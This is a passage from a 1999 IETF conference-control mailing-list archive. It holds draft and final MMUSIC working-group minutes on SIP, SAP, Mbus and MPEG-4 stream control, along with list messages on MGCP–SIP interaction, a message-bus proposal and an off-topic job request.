No final decision was taken.


SIP
---
Mark Handley presented the changes to the SIP spec that were requested
by the IESG.  Besides a large number of purely editorial work to
remove ambiguities in the specification, the changes include the
following:

- The UDP backoff timers were changed to prevent SIP control messages
  from potentially causing congestion.
- The DNS lookup rules were changed: MX records were removed, SRV
  records are now optional (since they are defined as an experimental
  RFC while SIP is standards track).
- It was discussed whether IPv6 literal addresses should be supported
  in SIP URLs; as literal addresses seem to be unimportant no changes

  were made to the SIP spec.
- In the past, the SIP specification completely disallowed proxies to
  translate between the short and the long SIP representation or to
  change the message layout.  This is now permitted unless message is
  authenticated.
- While earlier revisions of the SIP spec allowed arbitrary message
  formats to be signed, SIP now defines a canonical form to be used
  with authentication.
- Text was added to precisely define how SIP uses the HTTP basic and
  digest authentication mechanisms.
- The usage of SDP in order to set up asymmetric sessions was
  clarified.  
- The use of the SIP Date field was restricted from allowing any valid
  HTTP date form to only the RFC 1123 form being allowed.

None of these changes were controversial.  The group was asked whether
they believe they need a new WG last call to review these changes.
No-one wanted a new WG last call and so the revised document will be
re-submitted to the IESG.


Reliability for SIP 1xx Responses 
---------------------------------
Jonathan Rosenberg presented an internet draft on SIP provisional
response reliability.  The problem stated is that provisional
responses in SIP are not sent reliably and that this may cause
difficulties for all state machines driven by 1XX responses, for
signaling between gateways, for signaling transport, etc.  The
proposed solution is a SIP extension -- support of which is to be
indicated by "org.ietf.sip.100rel" -- that defines ordering and
reliability for provisional responses as follows: Provisional
responses are extended to carry a sequence number (RSeq); they are
acknowledged by the client retransmitting the original request with an
acknowledgement number (RAck).  Currently, reliability is based on a
lock step mechanism for simplicity.

Jonathan identified various issues when this approach is used with
proxies:
- Proxies may discard provisional responses; hence, end points depending
  on reliable transmission of 1XX responses must be able to request
  that proxies support 1XX reliability; a Proxy-Require header is
  needed to achieve this.
- Proxies themselves may generate provisional responses adding the
  need for hop by hop reliability.
- Forking proxies may receive responses from different branches where
  there is no absolute ordering; proxies must be able to merge these
  responses before forwarding upstream.

Finally, Jonathan pointed out a variety of issues to be discussed.  A
window size larger than one could be used to achieve better throughput
with SIP (at the cost of additional complexity); in conjunction with
this, SIP might need to incorporate congestion control mechanisms and
may use selective acknowledgements to confirm reception of multiple
responses.  The potentially most important issue with the 100rel
proposal is the isomorphism of SIP requests: formerly, the quadruple
(To, From, CallID, CSeq) uniquely identified a request which is no
longer true.

There was a significant amount of discussion in the group, but no
consensus was reached on the technical conclusions to be drawn from
this proposal.  However, there did seem to be resonable consensus that
the problem is worth looking at.  Further discussion will take place
on the mailing list.


SIP CGI
-------
Jonathan Rosenberg presented an internet draft on SIP CGI.  The
motivation for this proposal is the need to program SIP servers to
perform proxying, redirection, forking of calls, modify headers,
perform various kinds of searches, etc.  The idea behind the proposal
is to separate the program logic from the SIP server functionality.
In particular, the program logic could be provided by third parties
and work with many SIP server implementations.  Such a "definition
language" would be targeted at system administrators rather than end
users.  The requirements presented include flexibility, simplicity,
and independence of programming languages.  The proposal presented is
to use CGI which is supposed to match the aforementioned requirements
and is well-established technology.  Benefits of the approach taken
were presented as were the differences between SIP CGI and HTTP CGI.
Also, some details of the operation in conjunction with SIP protocol
operation were outlined.  The group felt that the separation between
SIP server and program logic is basically a good idea, but there was
consensus that defining this is not a work item to be pursued in the
MMUSIC WG.

MPEG-4 and RTSP/SDP
-------------------

Paul Christ presented work on RTSP-based stream control for MPEG-4.
MPEG-4 does not provide simple Application Signaling for media stream
control in version 1; also, there is no accepted "simple"
architecture, nor an accepted transport to convey application
signaling information.  Rather, the mechanisms available from MPEG-4
version are very complex, with many types of streams, many possible
levels of indirection, and a tight coupling of control interactions
and scene syntax and semantics.  As an alternative that may be
considered within the IETF, a control scheme based upon RTSP and SDP
is proposed to provide the required media stream control
functionality.  However, this would require an SDP syntax that allows
to describe MPEG-4 objects (initially); also, an appropriate update
mechanism would be needed to convey changes to the object descriptors
within a streaming session.  Furthermore, some additions to RTSP would
be necessary to provide the functional range desired by the MPEG-4
community.  There was little feedback from the group and hence no
decisions were to address this further within the scope of MMUSIC.


Message Bus (Mbus)
------------------
Joerg Ott presented an update to the message bus, which had been
discussed at the previous IETF.  The major changes include a
modification in the addressing concept -- turning fixed address
quadrupels into tagged tuple sets -- and a significant extension of
the semantics specifications (which have not yet been turned in as an
Internet Draft).  Joerg reported that they are now two implementations
available and that also prototypes of media and control tools running
Mbus emerge.  Work is being continued on further semantics definitions
for building gateways, local capability exchange, and to provide hooks
for easily integrating policies for local decisions in MBus-based
systems.

There was significant discussion about whether this should be modified
to permit wide-area operation (currently it's purely intended for
local coordination).  The authors are reluctant to turn it into a
general purpose conference control protocol since the perceive
functionality and semantics for local coordination to be different.

Finally, it has not yet been decided whether this should be an MMUSIC
work item or not.  The authors propose to pursue this work further and
provide an update at the next IETF when more experience is gained and
the proposal is more complete and then revisit the issue how (if at
all) to deal with the Mbus as a work item in the IETF.



From confctrl-owner  Mon Jan 11 09:19:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA06811
	for confctrl-outgoing; Mon, 11 Jan 1999 09:19:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA06804
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jan 1999 09:19:00 -0800 (PST)
Received: from annuminas.tusculum.edu (root@tusculum.edu [206.228.254.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10856
	for <confctrl@ISI.EDU>; Mon, 11 Jan 1999 09:18:58 -0800 (PST)
Received: from zerian.tusculum.edu (zerian.tusculum.edu [206.228.254.205])
	by annuminas.tusculum.edu (8.9.1/8.9.1) with SMTP id MAA07260
	for <confctrl@ISI.EDU>; Mon, 11 Jan 1999 12:18:56 -0500
Message-Id: <3.0.5.32.19990111121744.0079d580@tusculum.edu>
X-Sender: mbarthol@tusculum.edu
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Date: Mon, 11 Jan 1999 12:17:44 -0500
To: confctrl@ISI.EDU
From: Matt Bartholomew <mbarthol@tusculum.edu>
Subject: mp3 streaming...an interesting subject
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

	I know mp3 technology is not discussed too often on this mailing list, but
I thought that it would be interesting to point out nullsoft's mp3
streaming server.  Nullsoft is calling it shoutcast and the software can be
found on www.shoutcast.com . The quality is excellent.  I at least
recommend that you look at this, being that it may rivial realaudio or
other netcasting technologies.  It is also a hot topic on www.slashdot.org
. Many novice web users are quickly picking up on this software and
tinkering with it (especially the linux community). 

Matt Bartholomew



On another note, I need a job (so much for tact huh). My resume can be
found at http://zerian.tusculum.edu/resume.rtf, or simply email
(mbarthol@tusculum.edu) me if you are interested in hiring a soon be
college graduate.  


From confctrl-owner  Mon Jan 11 09:39:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA09650
	for confctrl-outgoing; Mon, 11 Jan 1999 09:39:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA09641
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jan 1999 09:39:09 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA13311
	for <confctrl@ISI.EDU>; Mon, 11 Jan 1999 09:39:08 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA09894; Mon, 11 Jan 1999 12:38:54 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Matt Bartholomew <mbarthol@tusculum.edu>
cc: confctrl@ISI.EDU
Subject: Re: mp3 streaming...an interesting subject 
In-reply-to: Your message of "Mon, 11 Jan 1999 12:17:44 EST."
             <3.0.5.32.19990111121744.0079d580@tusculum.edu> 
Date: Mon, 11 Jan 1999 12:38:54 -0500
Message-ID: <9892.916076334@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>On another note, I need a job (so much for tact huh). My resume can be
>found at...

Matt,

This kind of request isn't appropriate for an IETF WG mailing list
like this one.

Cheers,
	Mark 

From confctrl-owner  Mon Jan 11 11:53:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA28050
	for confctrl-outgoing; Mon, 11 Jan 1999 11:53:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA28044
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jan 1999 11:53:16 -0800 (PST)
Received: from www.obsoft.com (sardana@www.obsoft.com [209.186.233.251])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA01338
	for <confctrl@ISI.EDU>; Mon, 11 Jan 1999 11:53:14 -0800 (PST)
Received: (from sardana@localhost) by www.obsoft.com (8.6.12/8.6.9) id NAA31270 for confctrl@ISI.EDU; Mon, 11 Jan 1999 13:50:54 -0600
Date: Mon, 11 Jan 1999 13:50:54 -0600
From: Bobby Sardana <sardana@www.obsoft.com>
Message-Id: <199901111950.NAA31270@www.obsoft.com>
To: confctrl@ISI.EDU
Subject: Question: MGCP & SIP Interaction
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings:

Is there any available information which talks about:

a. If the signalling is SIP, then how will the MGCP inform the
   Gateway or any NE that SIP based URI's need to be forwarded to it
   for possible call control.

b. Or, can the MGCP perform call control if SIP is the signalling
   protocol.

It seems like MGCP relies on a digit map to be uploaded to the
gateway which is different than the combinations, URI's, email etc.,
like addresses of the SIP.

Any information on this is appreciated.

Thanks.

Bobby Sardana.
ObjectSoftware, Inc.
sardana@obsoft.com

From confctrl-owner  Mon Jan 11 14:46:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA18226
	for confctrl-outgoing; Mon, 11 Jan 1999 14:46:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA18217
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jan 1999 14:46:47 -0800 (PST)
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA21502;
	Mon, 11 Jan 1999 14:46:44 -0800 (PST)
Received: from mg135-083.ricochet.net (mg135-083.ricochet.net [204.179.135.83])
	by proxy3.ba.best.com (8.9.1/8.9.0/best.out) with SMTP id OAA19425;
	Mon, 11 Jan 1999 14:40:24 -0800 (PST)
Message-Id: <3.0.5.16.19990111143737.2d172fc4@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Mon, 11 Jan 1999 14:37:37
To: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
From: Ross Finlayson <finlayson@live.com>
Subject: Re: Draft MMUSIC minutes
Cc: confctrl@ISI.EDU, Vern Paxson <vern@ee.lbl.gov>, rlang@sri.com,
        schooler@cs.caltech.edu, mjh@ISI.EDU, sob@harvard.edu
In-Reply-To: <Version.32.19990111002223.01164b70@127.0.0.1>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 12:28 AM 1/11/99 +0100, Joerg Ott wrote:
>Message Bus (Mbus)
>------------------
[...]
>There was significant discussion about whether this should be modified
>to permit wide-area operation (currently it's purely intended for
>local coordination).  The authors are reluctant to turn it into a
>general purpose conference control protocol since the perceive
>functionality and semantics for local coordination to be different.
>
>Finally, it has not yet been decided whether this should be an MMUSIC
>work item or not.  The authors propose to pursue this work further and
>provide an update at the next IETF when more experience is gained and
>the proposal is more complete and then revisit the issue how (if at
>all) to deal with the Mbus as a work item in the IETF.

As I noted in the Chicago (I think) IETF, I'd like to see a message
bus-like protocol become a work item in the IETF (probably MMUSIC).
However, to avoid the "kitchen sink" effect, we should try to keep its
focus and applicability limited at first (e.g., to media device/conference
control on a low-latency LAN without packet reordering), while keeping an
eye out for future extensibility.

I'd also like to see the current "mbus" draft split into two separate
documents: (i) a general "requirements and architecture" document, and (ii)
the author's description of their own protocol proposal.  I hope that we
can relatively quickly adopt document (i) as a work item, and come to
consensus on it, before moving on to specific proposals (such as document
(ii)).  At this time, however, only document (i) should be given the
"draft-ietf-mmusic-..." prefix; specific protocol proposals should remain
named as "draft-<authors>-...".

	Ross.



From confctrl-owner  Mon Jan 11 15:58:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA26116
	for confctrl-outgoing; Mon, 11 Jan 1999 15:58:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA26110
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jan 1999 15:58:24 -0800 (PST)
Received: from basil.cdt.luth.se (root@basil.cdt.luth.se [130.240.64.67])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA29538;
	Mon, 11 Jan 1999 15:58:21 -0800 (PST)
Received: from salt (peppar@salt.cdt.luth.se [130.240.64.42]) by basil.cdt.luth.se (8.8.8/8.7.3) with ESMTP id AAA04355; Tue, 12 Jan 1999 00:57:47 +0100 (MET)
Message-Id: <199901112357.AAA04355@basil.cdt.luth.se>
X-Mailer: exmh version 2.0.2 2/24/98
To: Ross Finlayson <finlayson@live.com>
cc: Joerg Ott <jo@Informatik.Uni-Bremen.DE>, confctrl@ISI.EDU,
        Vern Paxson <vern@ee.lbl.gov>, rlang@sri.com, schooler@cs.caltech.edu,
        mjh@ISI.EDU, sob@harvard.edu
Subject: Re: Draft MMUSIC minutes 
In-reply-to: Your message of "Mon, 11 Jan 1999 14:37:37."
             <3.0.5.16.19990111143737.2d172fc4@shell7.ba.best.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Date: Tue, 12 Jan 1999 00:57:47 +0100
From: Peter Parnes <peppar@cdt.luth.se>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Talking about message protocols I just wanted to point out my Control Bus 
protocol that we are using within several of our applications/products. It is 
a general agent messaging protocol with support for resource discovery of both 
available agents that can be controlled and how they can be controlled. I.e., 
which control points that are currently available. It is of course based on 
IP-multicast (what else :-) but is designed to run over any reliable transport 
(unicast or multicast).

More information is available from http://www.cdt.luth.se/~peppar/infocom99/ 
(general framework) and http://www.cdt.luth.se/~peppar/im99/ (implementation 
stuff).

Perhaps some of it is useful in the context discussed here?! 

/P



From confctrl-owner  Mon Jan 11 15:59:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA26250
	for confctrl-outgoing; Mon, 11 Jan 1999 15:59:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA26239
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jan 1999 15:59:31 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA29731
	for <confctrl@ISI.EDU>; Mon, 11 Jan 1999 15:59:30 -0800 (PST)
Received: from omta4.mcit.com (omta4.mcit.com [166.37.204.6])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id XAA18176; Mon, 11 Jan 1999 23:58:15 GMT
Received: from dwillispc3 ([166.35.227.103]) by omta4.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990111235827.PDGF1406@dwillispc3>;
          Mon, 11 Jan 1999 17:58:27 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Bobby Sardana" <sardana@www.obsoft.com>, <confctrl@ISI.EDU>
Subject: RE: Question: MGCP & SIP Interaction
Date: Mon, 11 Jan 1999 17:56:44 -0600
Message-ID: <002501be3dbe$0acde9a0$67e323a6@dwillispc3.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
In-Reply-To: <199901111950.NAA31270@www.obsoft.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Bobby Sardana asked:

> Is there any available information which talks about:
>
> a. If the signalling is SIP, then how will the MGCP inform the
>    Gateway or any NE that SIP based URI's need to be forwarded to it
>    for possible call control.
> b. Or, can the MGCP perform call control if SIP is the signalling
>    protocol.



I'll try and summarize what I think I know of current thinking:

There are several proposals circulating (or not, as the case may be)
including SIP+ and some drafts in progress that are grappling with just
these questions.

The short answer is that SIP would appear to be most useful with MGCP in
an "interdomain" or "between peers" role.

Once can visualize each cluster of MGCP-using gateways and gateway
controllers as a "domain" (or autonomous system, or whatever) -- a
"peer" in the SIP world. Within the cluster, the controller uses MGCP to
drive the gateways, control number mappings, collect digits, and so on.
Each gateway is completely unaware that SIP is involved in the picture.
The controller, on the other hand, understands SIP and MGCP, and uses
SIP to talk to other controllers and to other native SIP devices, like
netphone appliances and so on. So, the SIP sessions are not maintained
by the gateway, and MGCP call control originating from a gateway gets
mapped to SIP call control by the controller as appropriate. Of course,
the controllers must be aware of call state . . .

obligatory ascii art:



            |------|        |------|
  |----|    |	 |  SIP   |      |    |----|
  | GW |----| CONT |--------| CONT |----| GW |
  |----| M  |      |        |	     |  M |----|
         G  |------|        |------|  G
         C             	              C
         P      	                    P



MGCP to SIP to MGCP call flows map out pretty easily. Going to MGCP, the
controller would have the task of taking the SIP URIs indicating the
source and destination addreesses and reformatting them into numbers
that MGCP could understand. Coming from MGCP, the controller would also
have to format digits collected by the gateway into a SIP INVITE that
would then pass upstream to some sort of "smarter" SIP user location or
call routing server, then be routed to an egress cluster. Similar
operations happen for call control functions.

I personally imagine an MGCP cluster to be on the order of the size of a
medium to large switch, perhaps a couple of hundred thousand ports --
and to provide service over some geographic region, perhaps a "central
office" area. From a SIP perspective, the whole cluster is just a
gateway with lots of ports -- i.e., a single node..

All the cluseters may be operated by one carrier -- or perhaps
eachclusters might be opearated by a different carrier. Once you add
ecommerce functions and a lot of lawyers, SIP provides a basis for a
settlement model betwixt and between carriers (Thanks, Francois).

Note that the problem becomes much hairier if you do a conversion to
ISUP or TUP or CAS somewhere in the process, and even more so if one
goes from PSTN to SIP and back again, say ISUP-SIP-ISUP, and worse yet
if different regional or vendor dialects are used on each side of the
SIP network This gives us the reason for SIGTRAN . . . and probably a
good reason for beer, too, so I'm leaving now.

--
Dean


From confctrl-owner  Tue Jan 12 14:29:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA09523
	for confctrl-outgoing; Tue, 12 Jan 1999 14:29:16 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA09518
	for <confctrl@zephyr.isi.edu>; Tue, 12 Jan 1999 14:29:14 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (root@bettina.informatik.uni-bremen.de [134.102.200.16] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA24020
	for <confctrl@isi.edu>; Tue, 12 Jan 1999 14:28:41 -0800 (PST)
Received: from dickmann.informatik.uni-bremen.de (jo-3.home.informatik.uni-bremen.de [134.102.217.132])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id XAA01580
	for <confctrl@isi.edu>; Tue, 12 Jan 1999 23:27:52 +0100 (MET)
Message-Id: <Version.32.19990112232603.0117d100@127.0.0.1>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Tue, 12 Jan 1999 23:26:46 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
Subject: MMUSIC Orlando minutes
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

attached are the MMUSIC minutes of the Orlando IETF.

Cheers,
Joerg

-------------------------------------------------------------------------------

MMUSIC MINUTES, ORLANDO IETF
============================
prepared by Mark Handley and Joerg Ott

MMUSIC met once at the Orlando IETF.

Internet Multimedia Conferencing Architecture
---------------------------------------------
Mark Handley briefly reported on the (currently expired) I-D on the
Conferencing Architecture -- this draft has been updated, and will be
resubmitted to the I-D archive shortly after the IETF.  The authors
plan to issue WG last call on this for Informational RFC in January.


SAP and SAP Security
--------------------
Mark Handley presented the status of SAP and the SAP security draft.
The SAP and the SAP Security specifications have been merged into a
single document.  Two major issues arose with respect to the use of
encryption within SAP:

* There has been disagreement between the authors on the use of public
  key encryption algorithms in a mode that effectively turns them into
  symmetric algorithms.  The arguments for and against this were
  presented in the hope of getting consensus from the group.  Little
  feedback was forthcoming.

* Also, there was the more fundamental issue of whether encryption of
  SAP announcements should be supported at all; the motivation for not
  supporting encryption would be to discourage people from misusing SAP
  to announce small private sessions to a potentially large audience;
  instead different mechanisms should be used.  The following discussion
  showed various scenarios that would warrant keeping encryption of
  session announcements.  The group consensus was to at least keep the
  use of symmetric encryption algorithms for now and to allow for future
  extensions to include other algorithms as well.
  [It was also pointed out that some key participants were not able to
   attend the meeting, and hence a follow up discussion on this second
   issue would be taken on the mailing list.]


SAP and IPv6
------------
Colin Perkins presented a modified version of SAP that can support
IPv6.  SAP announcements containing IPv6 addresses are identified by
taking one bit of the MT field to indicate the address type.  The IPv6
SAP address to be used is defined in RFC2375: FF0X:0:0:0:0:0:2:7FFE
with X being the four bit scope value as defined for IPv6.  Along with
various scopes, the proposal also defines bandwidth limitation for SAP
traffic.

In his presentation, Colin also addressed the issue of supporting
multiple payload types in SAP, to be identified by a MIME
"Content-Type:" header at the start of the SAP payload
("application/sdp" would be used for SDP payloads but would also allow
for non-SDP payload (e.g. SMIL).  Such a mechanism would also be used
to allow fragmentation of SDP announcements.  On the other side, it
adds complexity and might hinder interoperability.  There was
contentious discussion in the group on the tradeoff between
flexibility and interoperability; no consensus was reached.


A general issue raised by Colin was how to allow joining
e.g. multimedia streaming sessions from a web page.  The proposal is
to reference a SAP announcement (e.g. held in a local cache).  The
corresponding SAP URL could be composed of the announcement
originator's source address and its locally assigned message id
fields; e.g. "sap://128.16.64.45/1234".  A number of people noted that
most current implementations don't correctly fill in the appropriate
SAP header fields, so there may be a deployment problem.  Apart from
this, the (little) feedback received was positive about the concept.
No final decision was taken.


SIP
---
Mark Handley presented the changes to the SIP spec that were requested
by the IESG.  Besides a large number of purely editorial work to
remove ambiguities in the specification, the changes include the
following:

- The UDP backoff timers were changed to prevent SIP control messages
  from potentially causing congestion.
- The DNS lookup rules were changed: MX records were removed, SRV
  records are now optional (since they are defined as an experimental
  RFC while SIP is standards track).
- It was discussed whether IPv6 literal addresses should be supported
  in SIP URLs; as literal addresses seem to be unimportant no changes
  were made to the SIP spec.
- In the past, the SIP specification completely disallowed proxies to
  translate between the short and the long SIP representation or to
  change the message layout.  This is now permitted unless message is
  authenticated.
- While earlier revisions of the SIP spec allowed arbitrary message
  formats to be signed, SIP now defines a canonical form to be used
  with authentication.
- Text was added to precisely define how SIP uses the HTTP basic and
  digest authentication mechanisms.
- The usage of SDP in order to set up asymmetric sessions was
  clarified.  
- The use of the SIP Date field was restricted from allowing any valid
  HTTP date form to only the RFC 1123 form being allowed.

None of these changes were controversial.  The group was asked whether
they believe they need a new WG last call to review these changes.
No-one wanted a new WG last call and so the revised document will be
re-submitted to the IESG.


Reliability for SIP 1xx Responses 
---------------------------------
Jonathan Rosenberg presented an internet draft on SIP provisional
response reliability.  The problem stated is that provisional
responses in SIP are not sent reliably and that this may cause
difficulties for all state machines driven by 1XX responses, for
signaling between gateways, for signaling transport, etc.  The
proposed solution is a SIP extension -- support of which is to be
indicated by "org.ietf.sip.100rel" -- that defines ordering and
reliability for provisional responses as follows: Provisional
responses are extended to carry a sequence number (RSeq); they are
acknowledged by the client retransmitting the original request with an
acknowledgement number (RAck).  Currently, reliability is based on a
lock step mechanism for simplicity.

Jonathan identified various issues when this approach is used with
proxies:

- Proxies may discard provisional responses; hence, end points depending
  on reliable transmission of 1XX responses must be able to request
  that proxies support 1XX reliability; a Proxy-Require header is
  needed to achieve this.
- Proxies themselves may generate provisional responses adding the
  need for hop by hop reliability.
- Forking proxies may receive responses from different branches where
  there is no absolute ordering; proxies must be able to merge these
  responses before forwarding upstream.

Finally, Jonathan pointed out a variety of issues to be discussed.  A
window size larger than one could be used to achieve better throughput
with SIP (at the cost of additional complexity); in conjunction with
this, SIP might need to incorporate congestion control mechanisms and
may use selective acknowledgements to confirm reception of multiple
responses.  The potentially most important issue with the 100rel
proposal is the isomorphism of SIP requests: formerly, the quadruple
(To, From, CallID, CSeq) uniquely identified a request which is no
longer true.

There was a significant amount of discussion in the group, but no
consensus was reached on the technical conclusions to be drawn from
this proposal.  However, there did seem to be resonable consensus that
the problem is worth looking at.  Further discussion will take place
on the mailing list.


SIP CGI
-------
Jonathan Rosenberg presented an internet draft on SIP CGI.  The
motivation for this proposal is the need to program SIP servers to
perform proxying, redirection, forking of calls, modify headers,
perform various kinds of searches, etc.  The idea behind the proposal
is to separate the program logic from the SIP server functionality.
In particular, the program logic could be provided by third parties
and work with many SIP server implementations.  Such a "definition
language" would be targeted at system administrators rather than end
users.  The requirements presented include flexibility, simplicity,
and independence of programming languages.  The proposal presented is
to use CGI which is supposed to match the aforementioned requirements
and is well-established technology.  Benefits of the approach taken
were presented as were the differences between SIP CGI and HTTP CGI.
Also, some details of the operation in conjunction with SIP protocol
operation were outlined.  The group felt that the separation between
SIP server and program logic is basically a good idea, but there was
consensus that defining this is not a work item to be pursued in the
MMUSIC WG.

MPEG-4 and RTSP/SDP
-------------------
Paul Christ presented work on RTSP-based stream control for MPEG-4.
MPEG-4 does not provide a simple scheme for Application Signaling for
media stream control in version 1; rather, the mechanisms available
from MPEG-4 version are very complex, with many types of streams, many
possible levels of indirection, and a tight coupling of control
interactions and scene syntax and semantics.  As an alternative that
may be considered within the IETF (and will also be fed into the ISO
development of version 2), a control scheme based upon RTSP and SDP is

proposed to provide the minimum required media stream control
functionality to support simple client-server applications.  This
would require an SDP syntax that allows to describe MPEG-4 objects
(initially); also, an appropriate update mechanism would be needed to
convey changes to the object descriptors within a streaming session.
Furthermore, some additions to RTSP would be necessary to provide
enhanced interaction capabilities.

There was little feedback from the group and hence no decisions were
taken whether or not to address this further within the scope of
MMUSIC.


Message Bus (Mbus)
------------------
Joerg Ott presented an update to the message bus, which had been
discussed at the previous IETF.  The major changes include a
modification in the addressing concept -- turning fixed address
quadrupels into tagged tuple sets -- and a significant extension of
the semantics specifications (which have not yet been turned in as an
Internet Draft).  Joerg reported that they are now two implementations
available and that also prototypes of media and control tools running
Mbus emerge.  Work is being continued on further semantics definitions
for building gateways, local capability exchange, and to provide hooks
for easily integrating policies for local decisions in MBus-based
systems.

There was significant discussion about whether this should be modified
to permit wide-area operation (currently it's purely intended for
local coordination).  The authors are reluctant to turn it into a
general purpose conference control protocol since the perceive
functionality and semantics for local coordination to be different.

Finally, it has not yet been decided whether this should be an MMUSIC
work item or not.  The authors propose to pursue this work further and
provide an update at the next IETF when more experience is gained and
the proposal is more complete and then revisit the issue how (if at
all) to deal with the Mbus as a work item in the IETF.



From confctrl-owner  Wed Jan 13 13:13:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA26609
	for confctrl-outgoing; Wed, 13 Jan 1999 13:13:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA26604
	for <confctrl@zephyr.isi.edu>; Wed, 13 Jan 1999 13:13:33 -0800 (PST)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA23806
	for <confctrl@isi.edu>; Wed, 13 Jan 1999 13:13:27 -0800 (PST)
Received: from jobe.fokus.gmd.de (jobe [193.175.132.219])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id WAA13913;
	Wed, 13 Jan 1999 22:12:57 +0100 (MET)
Received: (from jku@localhost)
	by jobe.fokus.gmd.de (8.8.8/8.8.8) id WAA23068;
	Wed, 13 Jan 1999 22:12:57 +0100 (MET)
From: Jiri Kuthan <kuthan@fokus.gmd.de>
Message-Id: <199901132112.WAA23068@jobe.fokus.gmd.de>
Subject: A new website on the Internet telephony
To: iptel@lists.research.bell-labs.com, confctrl@ISI.EDU,
        pint@lists.research.bell-labs.com, sigtran@baynetworks.com,
        megaco@baynetworks.com, TIPHON@list.etsi.fr
Date: Wed, 13 Jan 1999 22:12:56 +0100 (MET)
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
